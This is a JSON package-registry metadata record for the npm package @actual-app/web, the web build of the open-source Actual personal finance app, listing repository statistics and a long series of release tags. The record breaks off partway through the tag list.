{"id":4368993,"name":"@actual-app/web","ecosystem":"npm","description":"Actual on the web","homepage":"https://github.com/actualbudget/actual#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/actualbudget/actual","keywords_array":[],"namespace":"actual-app","versions_count":553,"first_release_published_at":"2022-04-28T22:03:20.384Z","latest_release_published_at":"2026-10-02T15:05:43.459Z","latest_release_number":"26.10.0","last_synced_at":"2026-10-12T04:30:01.490Z","created_at":"2022-05-24T13:24:36.504Z","updated_at":"2026-10-12T05:22:29.748Z","registry_url":"https://www.npmjs.com/package/@actual-app/web","install_command":"npm install @actual-app/web","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"26.10.0","nightly":"26.11.0-nightly.20261012"},"contentPolicy":null},"repo_metadata":{"id":37009370,"uuid":"486815039","full_name":"actualbudget/actual","owner":"actualbudget","description":"A local-first personal finance app","archived":false,"fork":false,"pushed_at":"2026-10-08T14:11:51.000Z","size":630650,"stargazers_count":29359,"open_issues_count":220,"forks_count":3105,"subscribers_count":87,"default_branch":"master","last_synced_at":"2026-10-08T14:32:51.731Z","etag":null,"topics":["budgeting","finance","money","personal-finance"],"latest_commit_sha":null,"homepage":"https://actualbudget.org","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/actualbudget.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":"CODEOWNERS","security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":".cursor/rules/pr-and-commit.mdc","copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"open_collective":"actual","github":"actualbudget"}},"created_at":"2022-04-29T02:41:34.000Z","updated_at":"2026-10-08T14:12:05.000Z","dependencies_parsed_at":"2026-10-08T14:28:29.866Z","dependency_job_id":null,"html_url":"https://github.com/actualbudget/actual","commit_stats":{"total_commits":1872,"total_committers":179,"mean_commits":"10.458100558659218","dds":0.7622863247863247,"last_synced_commit":"02824ad240406df4aafd8a3cb17cd41faa048d14"},"previous_names":[],"tags_count":63,"template":false,"template_full_name":null,"purl":"pkg:github/actualbudget/actual","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/actualbudget","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343170754,"owners_count":38119955,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-08T02:00:05.744Z","response_time":97,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"actualbudget","name":"Actual","uuid":"37879538","kind":"organization","description":"","email":null,"website":"https://actualbudget.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/37879538?v=4","repositories_count":16,"last_synced_at":"2024-11-24T17:20:13.197Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/actualbudget","funding_links":["https://github.com/sponsors/actualbudget"],"total_stars":17971,"followers":492,"following":0,"created_at":"2022-11-14T07:05:48.949Z","updated_at":"2024-11-24T17:20:13.197Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/actualbudget","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/actualbudget/repositories"},"tags":[{"name":"v26.10.0","sha":"2bebdbaae0b701120a8cad9d56aafd64fa04c577","kind":"commit","published_at":"2026-10-02T13:05:34.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.10.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.10.0/manifests"},{"name":"v26.9.0","sha":"59fe126f637d858c061e1eeedbef5436c8f2225a","kind":"commit","published_at":"2026-08-28T13:14:07.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.9.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.9.0/manifests"},{"name":"v26.8.1","sha":"063df03763ca772b51f6264752b88ddec22cfb8a","kind":"commit","published_at":"2026-08-07T15:43:44.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.8.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.8.1/manifests"},{"name":"v26.8.0","sha":"5a8df1d09a5b4378e9f60c6cefbf54903554046b","kind":"commit","published_at":"2026-07-26T13:25:14.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.8.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.8.0/manifests"},{"name":"v26.7.0","sha":"111ea5f71ce97105376bd1472f2e1f3fa22139ad","kind":"commit","published_at":"2026-06-30T19:58:48.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.7.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.7.0/manifests"},{"name":"v26.6.0","sha":"3a730c160f8e6e4ea68f191d075a46bbbb7073d8","kind":"commit","published_at":"2026-06-01T16:56:50.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.6.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.6.0/manifests"},{"name":"v26.5.2","sha":"5b8382934ab10f7ee3fb2bef301152e07f68ab2d","kind":"commit","published_at":"2026-05-08T19:03:38.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.5.2","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.5.2/manifests"},{"name":"v26.5.1","sha":"5303ad7d931f9a0e0cd98def813de033341be5a8","kind":"commit","published_at":"2026-05-08T18:59:44.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.5.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.5.1/manifests"},{"name":"v26.5.0","sha":"4c62e2a75d48deb06d45e7ed89a2b9ddfd187e3d","kind":"commit","published_at":"2026-05-03T03:39:27.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.5.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.5.0/manifests"},{"name":"v26.4.0","sha":"a12b9716702bd6430ed6e37795e3ffc512a0e18e","kind":"commit","published_at":"2026-04-05T17:12:51.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.4.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.4.0/manifests"},{"name":"v26.3.0","sha":"f9e09ca59b06bf9cc495feeedeac778a257fdfa5","kind":"commit","published_at":"2026-03-03T01:23:12.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.3.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.3.0/manifests"},{"name":"v26.2.1","sha":"0f77d333ca2609a2401413a6d4a2ffa6f89d760b","kind":"commit","published_at":"2026-02-22T15:19:27.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.2.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.2.1/manifests"},{"name":"v26.2.0","sha":"0d6742664b7a5f111013bc6392bf3fda5e2c8a7c","kind":"commit","published_at":"2026-02-02T12:12:46.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.2.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.2.0/manifests"},{"name":"v26.1.0","sha":"2ed32c4bc42a27cd63870f08495ae3d4bd3d7eae","kind":"commit","published_at":"2026-01-04T16:45:33.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v26.1.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v26.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v26.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v26.1.0/manifests"},{"name":"v25.12.0","sha":"bf71fe59927dae2527e29800dc8a8285bb4c28f9","kind":"commit","published_at":"2025-12-03T16:54:03.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.12.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.12.0/manifests"},{"name":"v25.11.0","sha":"3d47469be338380f6bd2059e752b4970067d76cc","kind":"commit","published_at":"2025-11-03T23:12:18.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.11.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.11.0/manifests"},{"name":"v25.10.0","sha":"7846d2e78753ebdd3d0097748a1429818e5e8d96","kind":"commit","published_at":"2025-10-02T10:55:47.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.10.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.10.0/manifests"},{"name":"v25.9.0","sha":"5459b8baca1230d786c6050eac6dd07b668490e0","kind":"commit","published_at":"2025-09-03T23:27:22.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.9.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.9.0/manifests"},{"name":"v25.8.0","sha":"895d69f87587fa4bca824c2290df6b11cefab503","kind":"commit","published_at":"2025-08-02T15:39:18.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.8.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.8.0/manifests"},{"name":"v25.7.1","sha":"485830c85943d04794ae17318464b776567d28c6","kind":"commit","published_at":"2025-07-03T00:07:15.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.7.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.7.1/manifests"},{"name":"v25.7.0","sha":"1f828b6562d5dd33a034f954a584b68d66bfbdb7","kind":"commit","published_at":"2025-07-01T18:35:37.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.7.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.7.0/manifests"},{"name":"v25.6.1","sha":"02c59d9a1ce29c7fd6d231bc16e24d14d34e134b","kind":"commit","published_at":"2025-06-04T22:13:40.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.6.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.6.1/manifests"},{"name":"v25.6.0","sha":"09b12b82189886467bcab8bcbc1b760b2f400975","kind":"commit","published_at":"2025-06-04T04:35:34.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.6.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.6.0/manifests"},{"name":"v25.5.0","sha":"c23cbb4b0e0eadec18f9d252c82e55fd7557b16e","kind":"commit","published_at":"2025-05-03T17:44:50.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.5.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.5.0/manifests"},{"name":"v25.4.0","sha":"82b6589c370adb60bf6c3882b22d074dc76b1866","kind":"commit","published_at":"2025-04-05T03:49:46.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.4.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.4.0/manifests"},{"name":"v25.3.1","sha":"65c0a5a31607a8f08959797db92eb9af9db5a1c2","kind":"commit","published_at":"2025-03-03T01:17:29.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.3.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.3.1/manifests"},{"name":"v25.3.0","sha":"b0deedb4112ffe281780e973c8189283f5b386ae","kind":"commit","published_at":"2025-03-01T01:19:57.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.3.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.3.0/manifests"},{"name":"v25.2.1","sha":"05e2cbede153157474406a28da5b20afd6b6a0a5","kind":"commit","published_at":"2025-02-06T18:21:40.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.2.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.2.1/manifests"},{"name":"v25.2.0","sha":"bdf4dda3a897e5e100788765211a6b5dbeaa60fd","kind":"commit","published_at":"2025-02-05T21:10:13.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.2.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.2.0/manifests"},{"name":"v25.1.0","sha":"82e1922beeb0494534dd57ca5932b40363c36708","kind":"commit","published_at":"2025-01-07T06:06:34.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v25.1.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v25.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v25.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v25.1.0/manifests"},{"name":"v24.12.0","sha":"f207803f7aff76c0bbf0b2fb728a5672f16de2f3","kind":"commit","published_at":"2024-12-06T18:03:37.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.12.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.12.0/manifests"},{"name":"v24.11.0","sha":"1c05d7e5fe23d1a5c16b1fdd8d78427d9bf32a75","kind":"commit","published_at":"2024-11-03T14:43:26.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.11.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.11.0/manifests"},{"name":"v24.10.1","sha":"d0fcfd2d5a740350ccae7254d65ff6860ca8f102","kind":"commit","published_at":"2024-10-08T17:05:06.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.10.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.10.1/manifests"},{"name":"v24.10.0","sha":"9b7a79a01c43ea04d96b92fd44f554000cf284d2","kind":"commit","published_at":"2024-10-03T17:06:47.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.10.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.10.0/manifests"},{"name":"v24.9.0","sha":"44375e72ad63715ab798f5f9f0f72cbb407533ab","kind":"commit","published_at":"2024-09-03T17:02:45.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.9.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.9.0/manifests"},{"name":"v24.8.0","sha":"4389329bfa1915cc5ac91da492a9460008fe39de","kind":"commit","published_at":"2024-08-03T13:30:33.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.8.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.8.0/manifests"},{"name":"v24.7.0","sha":"049a41f36657b6565d8db14d441c06a3bde4ec08","kind":"commit","published_at":"2024-07-02T20:29:31.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.7.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.7.0/manifests"},{"name":"v24.6.0","sha":"c92266fd7f413f3974f84f74a286a05dc1609dd0","kind":"commit","published_at":"2024-06-03T09:46:40.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.6.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.6.0/manifests"},{"name":"v24.5.0","sha":"b34aaab5f5bf955f14ae7fa81d2f8801eacf7866","kind":"commit","published_at":"2024-05-03T16:32:07.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.5.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.5.0/manifests"},{"name":"v24.4.0","sha":"8f634099e2eb4320a1a4b1c1fdde59a9a9639762","kind":"commit","published_at":"2024-04-02T06:07:16.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.4.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24